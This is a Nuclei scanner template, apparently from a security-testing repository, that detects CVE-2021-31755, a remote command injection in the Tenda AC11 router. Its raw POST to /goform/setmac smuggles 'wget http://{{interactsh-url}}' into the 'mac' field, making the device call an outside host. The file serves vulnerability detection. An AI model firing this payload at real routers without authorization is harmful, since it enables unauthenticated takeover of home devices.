44 lines
2.3 KiB
YAML
44 lines
2.3 KiB
YAML
id: CVE-2021-31755
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info:
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name: Tenda Router AC11 - Remote Command Injection
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author: gy741
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severity: critical
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description: Tenda Router AC11 is susceptible to remote command injection vulnerabilities in the web-based management interface that could allow an unauthenticated, remote attacker to perform command injection attacks against an affected device.
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remediation: |
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Apply the latest firmware update provided by Tenda to fix the remote command injection vulnerability (CVE-2021-31755).
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reference:
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- https://github.com/Yu3H0/IoT_CVE/tree/main/Tenda/CVE_3
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- https://www.fortinet.com/blog/threat-research/the-ghosts-of-mirai
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- https://nvd.nist.gov/vuln/detail/CVE-2021-31755
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classification:
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cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
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cvss-score: 9.8
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cve-id: CVE-2021-31755
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cwe-id: CWE-787
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epss-score: 0.96541
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epss-percentile: 0.99486
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cpe: cpe:2.3:o:tenda:ac11_firmware:*:*:*:*:*:*:*:*
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metadata:
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max-request: 1
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vendor: tenda
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product: ac11_firmware
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tags: cve,cve2021,tenda,rce,oast,router,mirai,kev
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http:
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- raw:
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- |
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POST /goform/setmac HTTP/1.1
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Host: {{Hostname}}
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Origin: {{BaseURL}}
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Referer: {{BaseURL}}/index.htmlr
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Content-Type: application/x-www-form-urlencoded
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module1=wifiBasicCfg&doubleBandUnityEnable=false&wifiTotalEn=true&wifiEn=true&wifiSSID=Tenda_B0E040&mac=wget+http://{{interactsh-url}}&wifiSecurityMode=WPAWPA2%2FAES&wifiPwd=Password12345&wifiHideSSID=false&wifiEn_5G=true&wifiSSID_5G=Tenda_B0E040_5G&wifiSecurityMode_5G=WPAWPA2%2FAES&wifiPwd_5G=Password12345&wifiHideSSID_5G=false&module2=wifiGuest&guestEn=false&guestEn_5G=false&guestSSID=Tenda_VIP&guestSSID_5G=Tenda_VIP_5G&guestPwd=&guestPwd_5G=&guestValidTime=8&guestShareSpeed=0&module3=wifiPower&wifiPower=high&wifiPower_5G=high&module5=wifiAdvCfg&wifiMode=bgn&wifiChannel=auto&wifiBandwidth=auto&wifiMode_5G=ac&wifiChannel_5G=auto&wifiBandwidth_5G=auto&wifiAntijamEn=false&module6=wifiBeamforming&wifiBeaformingEn=true&module7=wifiWPS&wpsEn=true&wanType=static
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matchers:
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- type: word
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part: interactsh_protocol # Confirms the HTTP Interaction
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words:
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- "http"
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# digest: 490a00463044022062515a00f370a49fdbb45304e8bb4b4fa31bd82ee5cc4a2f1539c21a70d4395f022075c719879df7e61f7beaea70f9cf313c17b61e87d41419d2c342fcf5cc84b13a:922c64590222798bb761d5b6d8e72950 |